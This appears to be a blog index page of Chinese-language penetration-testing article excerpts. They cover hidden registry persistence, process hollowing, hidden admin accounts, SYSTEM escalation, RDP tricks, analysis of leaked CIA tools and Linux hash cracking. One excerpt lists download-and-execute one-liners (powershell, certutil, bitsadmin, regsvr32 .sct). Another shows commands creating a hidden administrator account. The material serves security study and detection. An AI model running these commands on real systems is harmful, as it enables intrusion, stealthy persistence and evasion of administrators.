Good in study, attitude and health

  • 渗透技巧——"隐藏"注册表的更多测试

    0x00 前言 在上篇文章《渗透技巧——”隐藏”注册表的创建》介绍了Poweliks使用过的注册表隐藏技术,分析原理,编写c程序实现功能 本文将做进一步测试,分享一种更为”隐蔽”的方法(该方法暂未找到公开资料,待定) 0x01 简介 本文将要介绍以下内容: 使用Win32 API读取时的错误 “\0”放在字符串中间的情况 其他Native API(如NtCreateFile)的应用 更加隐蔽的利用方法 防御检测 0x02 隐藏原理 对于Windows系统,”\0”(即0x0000)会被识别为字符串的结束符 所以在对该字符串读取的过程中,遇到开头的”\0”,会被解析成结束符,提前截断,导致读取错误 而使用Native API设定注册表,需要使用结构体OBJECT_ATTRIBUTES作为参数, 指定读取的字符串长度 只要长度设定正常,就能够读取正确的字符串,避免这个bug 利用的关键: 使用Native API多了一个参数,能够指定读取字符串的长度 那么,对该问题展开进一步思考,就有了如下测试 0x03 使用Win32 API读取时,具体是什么样的错误? 使用HiddenNtRegistry创建测试注册表键值,c++调用代码如下: printf("=================Normal Key=================\n"); printf("1.CreateKey:\n"); MyCreateKey("\\Registry\\Machine\\Software\\test1"); printf("2.OpenKey:\n"); hKey = MyOpenKey("\\Registry\\Machine\\Software\\test1"); printf("3.SetValueKey:\n"); MySetValueKey(hKey,"test1","0123456789abcdef",REG_SZ); printf("=================Hidden Key=================\n"); printf("1.OpenKey:\n"); hKey = MyOpenKey("\\Registry\\Machine\\Software\\test1"); printf("2.SetHiddenValueKey:\n"); MySetHiddenValueKey(hKey,"\0test1","hidden0123456789abcdef",REG_SZ); printf("3.QueryHiddenValueKey:\n"); MyQueryHiddenValueKeyString(hKey,"\0test1");...

  • 渗透技巧——"隐藏"注册表的创建

    0x00 前言 知名恶意软件Poweliks曾使用过的一个后门技术,在注册表启动位置创建一个特殊的注册表键值,通过mshta来执行payload 对于这个特殊的注册表键值,在正常情况下无法对其访问,这其中的原理是什么呢?如何读取、创建以及如何删除呢?本文将要一一介绍 0x01 简介 本文将要介绍以下内容: 隐藏注册表的原理 隐藏注册表的实现 程序编写上需要注意的问题 0x02 原理 注册表键值名称经过特殊构造: 以”\0”作为开头,后面加上任意字符(不能为数字) 对于Windows系统,”\0”(即0x0000)会被识别为字符串的结束符,所以在对该字符串读取的过程中,遇到开头的”\0”,会被解析成结束符,提前截断,导致读取错误 而使用Native API设定注册表,需要使用结构体OBJECT_ATTRIBUTES作为参数, 指定读取的字符串长度 只要长度设定正常,就能够读取正确的字符串,避免这个bug 所以,我们可以通过Native API来创建这个特殊的注册表名 更为重要的是,像regedit.exe和其他对注册表的操作,通常会调用Win32 API,这就导致该注册表无法被读取,也就实现了所谓的”隐藏” 综上,创建方法为: 通过Native API创建一个以”\0”开头的键值 0x03 编写程序实现 通过Native API实现对注册表的操作,可供参考的工程地址: https://www.codeproject.com/Articles/14508/Registry-Manipulation-Using-NT-Native-APIs 作者Dan Madden,他的代码使用了类的封装 个人倾向于使用最基本的api实现,于是参考他的代码,重新设计 对于Native API,需要的结构如下: 1.获取Native API的地址 注册表操作的相关Native API可从ntdll.dll中获得 关键代码如下: HINSTANCE hinstStub = GetModuleHandle(_T("ntdll.dll")); NtOpenKey = (LPNTOPENKEY)GetProcAddress(hinstStub, "NtOpenKey"); 2.Native...

  • 傀儡进程的实现与检测

    0x00 前言 最近在安全动态推送中看到了一篇文章《RunPE: How to hide code behind a legit process》,介绍了将恶意代码注于已知进程的方法 文章发布于2015年6月,虽然作者未公布完整的实现代码,但介绍了实现思路 本文将结合自己的心得做进一步介绍,测试开源实现代码,介绍防御方法 文章地址: https://www.adlice.com/runpe-hide-code-behind-legit-process/ 0x01 简介 本文将要介绍以下内容: 实现原理 开源代码测试 优化思路 防御检测 0x02 实现原理 这个利用方法至少在2005以前就存在,国内常常把该方法称为”傀儡进程的创建” 实现思路: 通过CreateProcess创建进程,传入参数CREATE_SUSPENDED使进程挂起 通过NtUnmapViewOfSection清空新进程的内存数据 通过VirtualAllocEx申请新的内存 通过WriteProcessMemory向内存写入payload 通过SetThreadContext设置入口点 通过ResumeThread唤醒进程,执行payload 在具体实现上,还需要考虑以下问题: 1、傀儡进程的选择 如果傀儡进程已经运行,那么将无法实现替换(指针不可控、无法获得主线程句柄等) 所以这种利用方法只能通过创建新进程,传入参数CREATE_SUSPENDED使进程挂起,在进程执行前对其替换 2、清空新进程的内存数据 进程初始化后,内存会加载映像文件,为了清空新进程的内存数据,可以使用函数NtUnmapViewOfSection卸载映像 函数NtUnmapViewOfSection需要从ntdll.dll获得,调用代码如下: FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection"); _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection; DWORD dwResult...

  • 渗透技巧——从github下载文件的多种方法

    0x00 前言 本文源于一个有趣的问题: 已知exe文件:https://github.com/3gstudent/test/raw/master/putty.exe Windows环境,需要将该exe释放到指定目录并执行,例如c:\download 问:通过cmd实现的最短代码是多少字符? 0x01 简介 本文将要介绍以下内容: 通过cmd实现从github下载文件的方法汇总 选出最短代码的实现方法 0x02 分析 在之前的文章《渗透技巧——通过cmd上传文件的N种方法》对通过命令行下载文件的方法做了汇总 而github支持https协议,并不支持http协议,所以在利用上需要注意一些问题,有些方法不支持http协议 0x03 可用方法汇总 1、powershell powershell (new-object System.Net.WebClient).DownloadFile('https://github.com/3gstudent/test/raw/master/putty.exe','c:\download\a.exe');start-process 'c:\download\a.exe' 2、certutil certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe&&c:\download\a.exe 3、bitsadmin bitsadmin /transfer n http://github.com/3gstudent/test/raw/master/putty.exe c:\download\a.exe && c:\download\a.exe 注: 使用bitsadmin的下载速度较慢 4、regsvr32 regsvr32 /u /s /i:https://raw.githubusercontent.com/3gstudent/test/master/downloadexec.sct scrobj.dll 原理: regsve32->JScript->powershell->download&exec JScript调用powershell实现下载执行的代码为: new ActiveXObject("WScript.Shell").Run("powershell...

  • 渗透技巧——从Admin权限切换到System权限

    0x00 前言 在渗透测试中,某些情况下需要用到system权限,例如操作注册表HKEY_LOCAL_MACHINE\SAM\SAM 恰巧最近看到了一篇文章介绍了几种获得system权限的方法,于是决定结合自己的经验对这方面的技巧做系统整理 当然,前提是已经获得系统的管理员权限 学习链接: https://blog.xpnsec.com/becoming-system/ 0x01 简介 本文将要介绍以下内容: 通过创建服务获得System权限的方法 利用MSIExec获得System权限的方法 利用token复制获得System权限的方法 利用Capcom.sys获得System权限的方法 0x02 通过创建服务获得System权限 1、通过sc命令实现 sc Create TestService1 binPath= "cmd /c start" type= own type= interact sc start TestService1 该方法在XP系统可以使用 Win7下使用时控制台提示: 警告: 服务 TestService1 被配置为交互式服务,其支持正受到抨击。该服务可能无法正常起作用。 服务启动时弹框,需要点击查看消息才能执行代码,如下图 Win8下控制台提示错误,无法使用该方法 2、通过计划任务 使用at命令: at 7:50 notepad.exe 默认以system权限启动,适用于Win7 从Win8开始不再支持at命令 使用schtasks命令: 创建服务,以system权限启动: schtasks /Create...

  • CIA Vault7 RDB中的Windows后门利用方法分析

    0x00 前言 在上篇文章《CIA Hive测试指南——源代码获取与简要分析》对维基解密公布的代号为Vault 8的文档进行了研究,简要分析服务器远程控制工具Hive 本文将要继续对维基解密公布的CIA相关资料进行分析,介绍Vault 7中Remote Development Branch (RDB)中提到的Windows后门利用方法 资料地址: https://wikileaks.org/ciav7p1/cms/page_2621760.html 0x01 简介 本文将要分析以下后门利用方法: VBR Persistence Image File Execution Options OCI.DLL Service Persistence Shell Extension Persistence Windows FAX DLL Injection 0x02 VBR Persistence 用于在Windows系统的启动过程中执行后门,能够hook内核代码 VBR全称Volume Boot Record (also known as the Partition Boot Record) 对应工具为Stolen Goods 2.0(未公开) Stolen Goods的说明文档地址:...

  • CIA Hive测试指南——源代码获取与简要分析

    0x00 前言 11月9日维基解密公布一个代号为Vault8的文档,包含服务器远程控制工具Hive的源代码和开发文档。本文仅站在技术角度,介绍测试方法,简要分析工具特点。 维基解密地址: https://wikileaks.org/vault8/ 0x01 简介 本文将要介绍以下内容: 源代码获取方法 框架流程分析 工具具体说明 特点分析 0x02 源代码获取 下载地址: https://wikileaks.org/vault8/document/repo_hive/ 代码库中的文件创建于在2013年8月和2015年10月之间,但工具Hive的开发时间应该更早 维基解密以git的方式公布该代码,包含以下几个分支: armv5 autotools debug dhm makemods master(默认) mt6 polar-0.14.3 polar-1.1.8 polar-1.2.11 polar-1.3.4 solarisbug ubiquiti 下载后发现并不包含相关源代码,需要使用git释放源代码 注: 这种方式能够减小源代码体积(下载文件大小95.5MB,实际文件大小170MB) 1、安装git kali2默认安装,未安装的Linux系统使用以下安装命令: sudo yum install git Windows系统下载地址: https://git-for-windows.github.io/ 使用如下图 2、常用git命令 查看所有分支,当前分支会被星号标示出: git branch 当前分支为master,如下图 查看历史版本: git...

  • 渗透技巧——Windows系统的帐户隐藏

    0x00 前言 在之前的文章《渗透技巧——Windows系统远程桌面的多用户登录》介绍过Windows系统远程桌面的利用技巧,实现了非服务器版本Windows系统的多用户远程登录,而最近我和Evilcg一起研究了通过帐户克隆实现隐藏帐户的利用技巧。如果将二者结合,会有什么利用技巧呢,本文将会一一介绍。 0x01 简介 本文将要介绍以下内容: 帐户隐藏的方法 编写脚本实现思路 结合远程桌面多用户登录的利用思路 0x02 帐户隐藏的方法 该方法在网上已有相关资料,本节只做简单复现 测试系统:·Win7x86 1、对注册表赋予权限 默认注册表HKEY_LOCAL_MACHINE\SAM\SAM\只有system权限才能修改 现在需要为其添加管理员权限 右键-权限-选中Administrators,允许完全控制 如下图 重新启动注册表regedit.exe,获得对该键值的修改权限 2、新建特殊帐户 net user test$ 123456 /add net localgroup administrators test$ /add 注: 用户名要以$结尾 添加后,该帐户可在一定条件下隐藏,输入net user无法获取,如下图 但是,在控制面板能够发现该帐户 如下图 3、导出注册表 在注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names下找到新建的帐户test$ 获取默认类型为0x3ea 将注册表HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\test$导出为1.reg 在注册表下能够找到对应类型名称的注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA 如下图 右键将该键导出为2.reg,保存的文件信息如下图 默认情况下,管理员帐户Administrator对应的注册表键值为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4 同样,右键将该键导出为3.reg 将注册表项HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000003EA下键F的值替换为HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4下键F的值,即2.reg中键F的值替换成3.reg中键F的值 替换后,如下图 4、命令行删除特殊帐户 net user...

  • 渗透技巧——Windows系统远程桌面的多用户登录

    0x00 前言 在渗透测试中,经常会接触Windows服务器的远程桌面服务,通过界面对服务器进行管理。而对于普通的Windows系统,在某些条件下也需要进行界面操作。 虽然我们可以通过编写程序来实现界面操作(捕获桌面信息,压缩传输,发送鼠标键盘消息等),但是如果能够使用远程桌面服务,岂不是更加方便高效 那么,对应非服务器版本的Windows系统,在使用远程桌面服务有哪些需要注意的问题呢,本文将会逐个分析介绍。 0x01 简介 本文将要介绍如下内容: 开启远程桌面的方法 使用mimikatz支持远程桌面多用户的原理 改进思路 测试工具rdpwrap 0x02 开启远程桌面的方法 1、查询系统是否允许3389远程连接 REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections 1表示关闭,0表示开启 查看远程连接的端口: REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber 端口格式为16进制,如下图 0xd3d转换为十进制为33389 2、本机开启3389远程连接的方法 方法1:通过cmd REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber...

  • Linux下的密码Hash——加密方式与破解方法的技术整理

    0x00 前言 Linux系统下,用户的密码会被加密保存在文件/etc/shadow中,关于密码的加密方式与破解方法有哪些呢?本文尝试对这一部分内容进行整理,介绍相关基础知识,测试常用方法,帮助大家对此有更直观的认识。 0x01 简介 本文将要介绍以下内容: Linux下用户密码的保存格式 Linux下用户密码的加密方法 破解用户密码hash的常用工具和方法 0x02 Linux下用户密码的保存格式 Linux密码信息保存在两个文件中,分别为:/etc/passwd和/etc/shadow /etc/passwd: 普通用户权限能够查看 保存用户信息,每一行代表一个用户,每一行通过冒号:分为七个部分 用户名 密码,x表示密码保存在/etc/shadow UID,0代表root GID,表示所在组 描述信息,依次为Full Name、Room Number、Work Phone、Home Phone和Other 用户主目录 默认shell类型 eg. test2:x:1001:1001:test2,11111,111111-11,222222-22,test:/home/test2:/bin/bash 用户名:test2 密码保存在/etc/shadow UID为1001 GID为1001 描述信息: Full Name []: test2 Room Number []: 11111 Work Phone []: 111111-11 Home Phone []: 222222-22 Other...